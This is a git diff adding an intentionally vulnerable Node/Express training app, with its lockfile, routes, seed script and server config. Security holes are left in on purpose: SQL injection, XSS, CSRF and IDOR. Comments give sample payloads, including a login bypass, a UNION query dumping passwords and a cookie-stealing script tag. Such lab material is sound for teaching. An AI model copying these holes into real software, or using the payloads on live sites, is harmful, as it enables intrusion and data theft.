+          "url": "https://feross.org/support"
+        }
+      ],
+      "license": "MIT"
+    },
+    "node_modules/simple-get": {
+      "version": "4.0.1",
+      "resolved": "https://registry.npmjs.org/simple-get/-/simple-get-4.0.1.tgz",
+      "integrity": "sha512-brv7p5WgH0jmQJr1ZDDfKDOSeWWg+OVypG99A/5vYGPqJ6pxiaHLy8nxtFjBA7oMa01ebA9gfh1uMCFqOuXxvA==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "decompress-response": "^6.0.0",
+        "once": "^1.3.1",
+        "simple-concat": "^1.0.0"
+      }
+    },
+    "node_modules/smart-buffer": {
+      "version": "4.2.0",
+      "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz",
+      "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==",
+      "license": "MIT",
+      "optional": true,
+      "engines": {
+        "node": ">= 6.0.0",
+        "npm": ">= 3.0.0"
+      }
+    },
+    "node_modules/socks": {
+      "version": "2.8.7",
+      "resolved": "https://registry.npmjs.org/socks/-/socks-2.8.7.tgz",
+      "integrity": "sha512-HLpt+uLy/pxB+bum/9DzAgiKS8CX1EvbWxI4zlmgGCExImLdiad2iCwXT5Z4c9c3Eq8rP2318mPW2c+QbtjK8A==",
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "ip-address": "^10.0.1",
+        "smart-buffer": "^4.2.0"
+      },
+      "engines": {
+        "node": ">= 10.0.0",
+        "npm": ">= 3.0.0"
+      }
+    },
+    "node_modules/socks-proxy-agent": {
+      "version": "6.2.1",
+      "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-6.2.1.tgz",
+      "integrity": "sha512-a6KW9G+6B3nWZ1yB8G7pJwL3ggLy1uTzKAgCb7ttblwqdz9fMGJUuTy3uFzEP48FAs9FLILlmzDlE2JJhVQaXQ==",
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "agent-base": "^6.0.2",
+        "debug": "^4.3.3",
+        "socks": "^2.6.2"
+      },
+      "engines": {
+        "node": ">= 10"
+      }
+    },
+    "node_modules/socks-proxy-agent/node_modules/debug": {
+      "version": "4.4.3",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
+      "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "ms": "^2.1.3"
+      },
+      "engines": {
+        "node": ">=6.0"
+      },
+      "peerDependenciesMeta": {
+        "supports-color": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/socks-proxy-agent/node_modules/ms": {
+      "version": "2.1.3",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+      "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
+      "license": "MIT",
+      "optional": true
+    },
+    "node_modules/sqlite3": {
+      "version": "5.1.7",
+      "resolved": "https://registry.npmjs.org/sqlite3/-/sqlite3-5.1.7.tgz",
+      "integrity": "sha512-GGIyOiFaG+TUra3JIfkI/zGP8yZYLPQ0pl1bH+ODjiX57sPhrLU5sQJn1y9bDKZUFYkX1crlrPfSYt0BKKdkog==",
+      "hasInstallScript": true,
+      "license": "BSD-3-Clause",
+      "dependencies": {
+        "bindings": "^1.5.0",
+        "node-addon-api": "^7.0.0",
+        "prebuild-install": "^7.1.1",
+        "tar": "^6.1.11"
+      },
+      "optionalDependencies": {
+        "node-gyp": "8.x"
+      },
+      "peerDependencies": {
+        "node-gyp": "8.x"
+      },
+      "peerDependenciesMeta": {
+        "node-gyp": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/ssri": {
+      "version": "8.0.1",
+      "resolved": "https://registry.npmjs.org/ssri/-/ssri-8.0.1.tgz",
+      "integrity": "sha512-97qShzy1AiyxvPNIkLWoGua7xoQzzPjQ0HAH4B0rWKo7SZ6USuPcrUiAFrws0UH8RrbWmgq3LMTObhPIHbbBeQ==",
+      "license": "ISC",
+      "optional": true,
+      "dependencies": {
+        "minipass": "^3.1.1"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/statuses": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz",
+      "integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/string_decoder": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
+      "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
+      "license": "MIT",
+      "dependencies": {
+        "safe-buffer": "~5.2.0"
+      }
+    },
+    "node_modules/string-width": {
+      "version": "4.2.3",
+      "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+      "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "emoji-regex": "^8.0.0",
+        "is-fullwidth-code-point": "^3.0.0",
+        "strip-ansi": "^6.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/strip-ansi": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+      "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "ansi-regex": "^5.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/strip-json-comments": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz",
+      "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/tar": {
+      "version": "6.2.1",
+      "resolved": "https://registry.npmjs.org/tar/-/tar-6.2.1.tgz",
+      "integrity": "sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==",
+      "deprecated": "Old versions of tar are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me",
+      "license": "ISC",
+      "dependencies": {
+        "chownr": "^2.0.0",
+        "fs-minipass": "^2.0.0",
+        "minipass": "^5.0.0",
+        "minizlib": "^2.1.1",
+        "mkdirp": "^1.0.3",
+        "yallist": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/tar-fs": {
+      "version": "2.1.4",
+      "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.4.tgz",
+      "integrity": "sha512-mDAjwmZdh7LTT6pNleZ05Yt65HC3E+NiQzl672vQG38jIrehtJk/J3mNwIg+vShQPcLF/LV7CMnDW6vjj6sfYQ==",
+      "license": "MIT",
+      "dependencies": {
+        "chownr": "^1.1.1",
+        "mkdirp-classic": "^0.5.2",
+        "pump": "^3.0.0",
+        "tar-stream": "^2.1.4"
+      }
+    },
+    "node_modules/tar-fs/node_modules/chownr": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz",
+      "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==",
+      "license": "ISC"
+    },
+    "node_modules/tar-stream": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz",
+      "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==",
+      "license": "MIT",
+      "dependencies": {
+        "bl": "^4.0.3",
+        "end-of-stream": "^1.4.1",
+        "fs-constants": "^1.0.0",
+        "inherits": "^2.0.3",
+        "readable-stream": "^3.1.1"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/tar/node_modules/minipass": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/minipass/-/minipass-5.0.0.tgz",
+      "integrity": "sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==",
+      "license": "ISC",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/toidentifier": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",
+      "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.6"
+      }
+    },
+    "node_modules/tunnel-agent": {
+      "version": "0.6.0",
+      "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz",
+      "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "safe-buffer": "^5.0.1"
+      },
+      "engines": {
+        "node": "*"
+      }
+    },
+    "node_modules/type-is": {
+      "version": "1.6.18",
+      "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz",
+      "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==",
+      "license": "MIT",
+      "dependencies": {
+        "media-typer": "0.3.0",
+        "mime-types": "~2.1.24"
+      },
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/uid-safe": {
+      "version": "2.1.5",
+      "resolved": "https://registry.npmjs.org/uid-safe/-/uid-safe-2.1.5.tgz",
+      "integrity": "sha512-KPHm4VL5dDXKz01UuEd88Df+KzynaohSL9fBh096KWAxSKZQDI2uBrVqtvRM4rwrIrRRKsdLNML/lnaaVSRioA==",
+      "license": "MIT",
+      "dependencies": {
+        "random-bytes": "~1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/unique-filename": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz",
+      "integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==",
+      "license": "ISC",
+      "optional": true,
+      "dependencies": {
+        "unique-slug": "^2.0.0"
+      }
+    },
+    "node_modules/unique-slug": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.2.tgz",
+      "integrity": "sha512-zoWr9ObaxALD3DOPfjPSqxt4fnZiWblxHIgeWqW8x7UqDzEtHEQLzji2cuJYQFCU6KmoJikOYAZlrTHHebjx2w==",
+      "license": "ISC",
+      "optional": true,
+      "dependencies": {
+        "imurmurhash": "^0.1.4"
+      }
+    },
+    "node_modules/unpipe": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
+      "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/util-deprecate": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
+      "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==",
+      "license": "MIT"
+    },
+    "node_modules/utils-merge": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz",
+      "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4.0"
+      }
+    },
+    "node_modules/vary": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
+      "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/which": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
+      "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
+      "license": "ISC",
+      "optional": true,
+      "dependencies": {
+        "isexe": "^2.0.0"
+      },
+      "bin": {
+        "node-which": "bin/node-which"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/wide-align": {
+      "version": "1.1.5",
+      "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.5.tgz",
+      "integrity": "sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==",
+      "license": "ISC",
+      "optional": true,
+      "dependencies": {
+        "string-width": "^1.0.2 || 2 || 3 || 4"
+      }
+    },
+    "node_modules/wrappy": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
+      "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==",
+      "license": "ISC"
+    },
+    "node_modules/yallist": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+      "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==",
+      "license": "ISC"
+    }
+  }
+}
diff --git a/node-vuln-app/package.json b/node-vuln-app/package.json
new file mode 100644
index 00000000..0c08db77
--- /dev/null
+++ b/node-vuln-app/package.json
@@ -0,0 +1,19 @@
+{
+  "name": "node-vuln-app",
+  "version": "0.1.0",
+  "private": true,
+  "description": "Intentionally vulnerable Node/Express app for security training. DO NOT DEPLOY.",
+  "main": "server.js",
+  "scripts": {
+    "start": "node server.js",
+    "seed": "node seed.js"
+  },
+  "dependencies": {
+    "body-parser": "^1.20.2",
+    "cookie-parser": "^1.4.6",
+    "ejs": "^3.1.9",
+    "express": "^4.19.2",
+    "express-session": "^1.18.0",
+    "sqlite3": "^5.1.7"
+  }
+}
diff --git a/node-vuln-app/public/css/style.css b/node-vuln-app/public/css/style.css
new file mode 100644
index 00000000..b8d7bd9c
--- /dev/null
+++ b/node-vuln-app/public/css/style.css
@@ -0,0 +1,35 @@
+* { box-sizing: border-box; }
+body { font: 14px/1.5 system-ui, sans-serif; margin: 0; color: #222; background: #f7f7f9; }
+main { max-width: 920px; margin: 20px auto; padding: 0 20px; }
+
+.topbar { display: flex; gap: 16px; align-items: center; padding: 10px 20px; background: #1a1a2e; color: #eee; }
+.topbar a { color: #eee; text-decoration: none; margin-right: 10px; }
+.topbar .brand { font-weight: bold; font-size: 16px; }
+.topbar nav { flex: 1; display: flex; gap: 10px; flex-wrap: wrap; }
+.topbar .auth { margin-left: auto; display: flex; gap: 10px; align-items: center; }
+
+.bottombar { text-align: center; padding: 14px; color: #888; }
+
+h1, h2, h3 { margin: 16px 0 10px; }
+code, pre { font-family: ui-monospace, Menlo, monospace; }
+pre { background: #efefef; padding: 10px; overflow: auto; border-radius: 4px; }
+form { background: #fff; padding: 12px; border: 1px solid #ddd; border-radius: 6px; margin: 10px 0; }
+form label { display: block; margin: 6px 0; }
+input, textarea { width: 100%; padding: 6px; font: inherit; border: 1px solid #ccc; border-radius: 4px; }
+button { padding: 6px 14px; background: #1a1a2e; color: #fff; border: 0; border-radius: 4px; cursor: pointer; }
+
+.hint { background: #fff8e1; border-left: 4px solid #e6b800; padding: 10px 14px; margin: 16px 0; border-radius: 4px; }
+.error { background: #fde2e2; color: #800; padding: 8px; border-radius: 4px; }
+.flash { background: #e2f3e2; color: #063; padding: 8px; border-radius: 4px; }
+.tag { background: #e0e0ff; color: #334; font-size: 11px; padding: 2px 6px; border-radius: 3px; margin-left: 6px; vertical-align: middle; }
+
+.cards { display: grid; grid-template-columns: repeat(auto-fit, minmax(280px, 1fr)); gap: 14px; }
+.card { background: #fff; border: 1px solid #ddd; border-radius: 6px; padding: 14px; }
+
+table { width: 100%; border-collapse: collapse; background: #fff; }
+th, td { text-align: left; padding: 6px 8px; border-bottom: 1px solid #eee; }
+
+.messages { list-style: none; padding: 0; }
+.messages li { background: #fff; border: 1px solid #ddd; padding: 10px; margin: 8px 0; border-radius: 4px; }
+.messages .meta { color: #666; font-size: 12px; margin-bottom: 4px; }
+.filebody { white-space: pre-wrap; }
diff --git a/node-vuln-app/routes/auth.js b/node-vuln-app/routes/auth.js
new file mode 100644
index 00000000..71c8b9d7
--- /dev/null
+++ b/node-vuln-app/routes/auth.js
@@ -0,0 +1,50 @@
+const express = require('express');
+const router = express.Router();
+const { rawGet, run, get } = require('../db');
+
+router.get('/login', (req, res) => {
+  res.render('login', { error: null, query: null });
+});
+
+// VULN: Classic SQL injection via string concatenation on both fields.
+// Exploit: username = admin' -- , password = anything
+router.post('/login', async (req, res) => {
+  const { username, password } = req.body;
+  const sql =
+    "SELECT id, username, role FROM users WHERE username = '" +
+    username +
+    "' AND password = '" +
+    password +
+    "'";
+  try {
+    const row = await rawGet(sql);
+    if (!row) return res.render('login', { error: 'Invalid credentials', query: sql });
+    req.session.user = row;
+    res.redirect('/');
+  } catch (e) {
+    res.render('login', { error: 'SQL error: ' + e.message, query: sql });
+  }
+});
+
+router.get('/register', (req, res) => {
+  res.render('register', { error: null });
+});
+
+router.post('/register', async (req, res) => {
+  const { username, password, email } = req.body;
+  try {
+    await run(
+      `INSERT INTO users (username, password, email, role) VALUES (?, ?, ?, 'user')`,
+      [username, password, email]
+    );
+    res.redirect('/login');
+  } catch (e) {
+    res.render('register', { error: e.message });
+  }
+});
+
+router.get('/logout', (req, res) => {
+  req.session.destroy(() => res.redirect('/'));
+});
+
+module.exports = router;
diff --git a/node-vuln-app/routes/home.js b/node-vuln-app/routes/home.js
new file mode 100644
index 00000000..b3ed578f
--- /dev/null
+++ b/node-vuln-app/routes/home.js
@@ -0,0 +1,8 @@
+const express = require('express');
+const router = express.Router();
+
+router.get('/', (req, res) => {
+  res.render('index');
+});
+
+module.exports = router;
diff --git a/node-vuln-app/routes/idor.js b/node-vuln-app/routes/idor.js
new file mode 100644
index 00000000..91188e5e
--- /dev/null
+++ b/node-vuln-app/routes/idor.js
@@ -0,0 +1,37 @@
+const express = require('express');
+const router = express.Router();
+const { all, get } = require('../db');
+
+// VULN: IDOR — file download by id with no ownership check.
+// Any logged-in user (or even an unauthenticated visitor) can fetch any
+// file by id. The UI only links to the current user's files, but id is
+// a sequential integer so tampering is trivial.
+// Exploit: /file?id=1 reveals admin-notes.txt
+router.get('/files', async (req, res) => {
+  if (!req.session.user) return res.redirect('/login');
+  const mine = await all(
+    `SELECT id, filename FROM files WHERE owner_id = ?`,
+    [req.session.user.id]
+  );
+  res.render('files', { mine });
+});
+
+router.get('/file', async (req, res) => {
+  const id = req.query.id;
+  const row = await get(`SELECT filename, contents FROM files WHERE id = ?`, [id]);
+  if (!row) return res.status(404).send('Not found');
+  res.render('file_view', { file: row });
+});
+
+// VULN: IDOR — /user/:id leaks private fields (email) for any user.
+// There is no session check at all.
+router.get('/user/:id', async (req, res) => {
+  const row = await get(
+    `SELECT id, username, email, role, bio FROM users WHERE id = ?`,
+    [req.params.id]
+  );
+  if (!row) return res.status(404).send('Not found');
+  res.render('user_view', { profile: row });
+});
+
+module.exports = router;
diff --git a/node-vuln-app/routes/profile.js b/node-vuln-app/routes/profile.js
new file mode 100644
index 00000000..1e9ff347
--- /dev/null
+++ b/node-vuln-app/routes/profile.js
@@ -0,0 +1,43 @@
+const express = require('express');
+const router = express.Router();
+const { run, get } = require('../db');
+
+function requireLogin(req, res, next) {
+  if (!req.session.user) return res.redirect('/login');
+  next();
+}
+
+router.get('/profile', requireLogin, async (req, res) => {
+  const row = await get(`SELECT id, username, email, role, bio FROM users WHERE id = ?`, [
+    req.session.user.id,
+  ]);
+  res.render('profile', { profile: row, flash: req.session.flash });
+  req.session.flash = null;
+});
+
+// VULN: CSRF — updates state on POST with no anti-CSRF token and no SameSite
+// cookie setting. A cross-origin form auto-submitted from an attacker page
+// will silently change the victim's email while they're logged in.
+router.post('/profile/update', requireLogin, async (req, res) => {
+  const { email, bio } = req.body;
+  await run(`UPDATE users SET email = ?, bio = ? WHERE id = ?`, [
+    email,
+    bio,
+    req.session.user.id,
+  ]);
+  req.session.flash = 'Profile updated.';
+  res.redirect('/profile');
+});
+
+// VULN: CSRF on password change. Same issue as /profile/update, worse blast.
+router.post('/profile/password', requireLogin, async (req, res) => {
+  const { password } = req.body;
+  await run(`UPDATE users SET password = ? WHERE id = ?`, [
+    password,
+    req.session.user.id,
+  ]);
+  req.session.flash = 'Password changed.';
+  res.redirect('/profile');
+});
+
+module.exports = router;
diff --git a/node-vuln-app/routes/sqli.js b/node-vuln-app/routes/sqli.js
new file mode 100644
index 00000000..cb978878
--- /dev/null
+++ b/node-vuln-app/routes/sqli.js
@@ -0,0 +1,44 @@
+const express = require('express');
+const router = express.Router();
+const { rawAll, rawGet } = require('../db');
+
+// VULN: UNION-based SQL injection.
+// The `q` parameter is concatenated directly into a SELECT. The column list
+// (id, author, body) lets an attacker UNION SELECT arbitrary rows.
+// Exploit:
+//   /search?q=zzz' UNION SELECT id, username, password FROM users --
+router.get('/search', async (req, res) => {
+  const q = req.query.q || '';
+  const sql =
+    "SELECT id, author, body FROM messages WHERE body LIKE '%" + q + "%'";
+  let results = [];
+  let error = null;
+  if (req.query.q !== undefined) {
+    try {
+      results = await rawAll(sql);
+    } catch (e) {
+      error = e.message;
+    }
+  }
+  res.render('search', { q, sql, results, error });
+});
+
+// VULN: Boolean-based blind SQL injection.
+// Returns different text depending on whether the injected SQL is truthy.
+// Exploit (extract admin password one char at a time):
+//   /account/check?name=admin' AND substr(password,1,1)='a' --
+router.get('/account/check', async (req, res) => {
+  const name = req.query.name || '';
+  const sql =
+    "SELECT id FROM users WHERE username = '" + name + "'";
+  let message;
+  try {
+    const row = await rawGet(sql);
+    message = row ? 'Account exists.' : 'No such account.';
+  } catch (e) {
+    message = 'Query error: ' + e.message;
+  }
+  res.render('blind', { name, sql, message });
+});
+
+module.exports = router;
diff --git a/node-vuln-app/routes/xss.js b/node-vuln-app/routes/xss.js
new file mode 100644
index 00000000..46055a31
--- /dev/null
+++ b/node-vuln-app/routes/xss.js
@@ -0,0 +1,33 @@
+const express = require('express');
+const router = express.Router();
+const { all, run } = require('../db');
+
+// VULN: Reflected XSS.
+// The `greet` query param is rendered raw by the view (<%- greet %>).
+// Exploit: /hello?greet=<script>alert(document.cookie)</script>
+router.get('/hello', (req, res) => {
+  res.render('hello', { greet: req.query.greet || '' });
+});
+
+// VULN: Stored XSS.
+// /messages lists all messages and renders `body` as raw HTML (<%- body %>).
+// Any logged-in user can POST a <script> payload and it fires for every
+// visitor who loads the page.
+router.get('/messages', async (req, res) => {
+  const messages = await all(
+    `SELECT id, author, body, created_at FROM messages ORDER BY id DESC`
+  );
+  res.render('messages', { messages });
+});
+
+router.post('/messages', async (req, res) => {
+  if (!req.session.user) return res.redirect('/login');
+  const body = req.body.body || '';
+  await run(`INSERT INTO messages (author, body) VALUES (?, ?)`, [
+    req.session.user.username,
+    body,
+  ]);
+  res.redirect('/messages');
+});
+
+module.exports = router;
diff --git a/node-vuln-app/seed.js b/node-vuln-app/seed.js
new file mode 100644
index 00000000..6aaa87a4
--- /dev/null
+++ b/node-vuln-app/seed.js
@@ -0,0 +1,80 @@
+const fs = require('fs');
+const path = require('path');
+
+const dataDir = path.join(__dirname, 'data');
+if (!fs.existsSync(dataDir)) fs.mkdirSync(dataDir, { recursive: true });
+
+const dbFile = path.join(dataDir, 'vuln.sqlite');
+if (fs.existsSync(dbFile)) fs.unlinkSync(dbFile);
+
+const { run } = require('./db');
+
+(async () => {
+  await run(`CREATE TABLE users (
+    id INTEGER PRIMARY KEY AUTOINCREMENT,
+    username TEXT UNIQUE,
+    password TEXT,
+    email TEXT,
+    role TEXT DEFAULT 'user',
+    bio TEXT
+  )`);
+
+  await run(`CREATE TABLE messages (
+    id INTEGER PRIMARY KEY AUTOINCREMENT,
+    author TEXT,
+    body TEXT,
+    created_at TEXT DEFAULT CURRENT_TIMESTAMP
+  )`);
+
+  await run(`CREATE TABLE files (
+    id INTEGER PRIMARY KEY AUTOINCREMENT,
+    owner_id INTEGER,
+    filename TEXT,
+    contents TEXT
+  )`);
+
+  // Passwords are plaintext on purpose — this lab is about the web vulns,
+  // not hashing. The UNION SQLi demo relies on being able to read them.
+  const users = [
+    ['admin', 'admin123', 'admin@example.test', 'admin', 'Site administrator'],
+    ['alice', 'wonderland', 'alice@example.test', 'user', 'Curious user'],
+    ['bob', 'builder', 'bob@example.test', 'user', 'Builder'],
+    ['carol', 'carolpass', 'carol@example.test', 'user', 'Quiet lurker'],
+  ];
+  for (const u of users) {
+    await run(
+      `INSERT INTO users (username, password, email, role, bio) VALUES (?, ?, ?, ?, ?)`,
+      u
+    );
+  }
+
+  const messages = [
+    ['admin', 'Welcome to the board. Be nice.'],
+    ['alice', 'Anyone up for a CTF this weekend?'],
+    ['bob', 'Just finished the new tool shed.'],
+  ];
+  for (const m of messages) {
+    await run(`INSERT INTO messages (author, body) VALUES (?, ?)`, m);
+  }
+
+  const files = [
+    [1, 'admin-notes.txt', 'Root password rotation schedule: monthly.'],
+    [2, 'alice-diary.txt', "Dear diary, today I learned about SQL injection."],
+    [3, 'bob-invoice.txt', 'Invoice #42 — 3 hours of carpentry — $240.'],
+    [4, 'carol-secret.txt', 'Carol keeps her secrets here.'],
+  ];
+  for (const f of files) {
+    await run(
+      `INSERT INTO files (owner_id, filename, contents) VALUES (?, ?, ?)`,
+      f
+    );
+  }
+
+  console.log(`Seeded ${dbFile}`);
+  console.log('Demo users:');
+  for (const u of users) console.log(`  ${u[0]} / ${u[1]} (${u[3]})`);
+  process.exit(0);
+})().catch((e) => {
+  console.error(e);
+  process.exit(1);
+});
diff --git a/node-vuln-app/server.js b/node-vuln-app/server.js
new file mode 100644
index 00000000..3300ba68
--- /dev/null
+++ b/node-vuln-app/server.js
@@ -0,0 +1,43 @@
+const express = require('express');
+const session = require('express-session');
+const cookieParser = require('cookie-parser');
+const bodyParser = require('body-parser');
+const path = require('path');
+
+const app = express();
+
+app.set('view engine', 'ejs');
+app.set('views', path.join(__dirname, 'views'));
+
+app.use(cookieParser());
+app.use(bodyParser.urlencoded({ extended: true }));
+app.use(bodyParser.json());
+app.use(express.static(path.join(__dirname, 'public')));
+
+// INTENTIONALLY WEAK: fixed session secret, sameSite not set, no CSRF middleware.
+// This is what makes the CSRF routes exploitable cross-site.
+app.use(
+  session({
+    secret: 'vuln-app-demo-secret',
+    resave: false,
+    saveUninitialized: true,
+    cookie: { httpOnly: true },
+  })
+);
+
+app.use((req, res, next) => {
+  res.locals.user = req.session.user || null;
+  next();
+});
+
+app.use('/', require('./routes/home'));
+app.use('/', require('./routes/auth'));
+app.use('/', require('./routes/sqli'));
+app.use('/', require('./routes/xss'));
+app.use('/', require('./routes/profile'));
+app.use('/', require('./routes/idor'));
+
+const PORT = process.env.PORT || 3000;
+app.listen(PORT, () => {
+  console.log(`vuln-app listening on http://localhost:${PORT}`);
+});
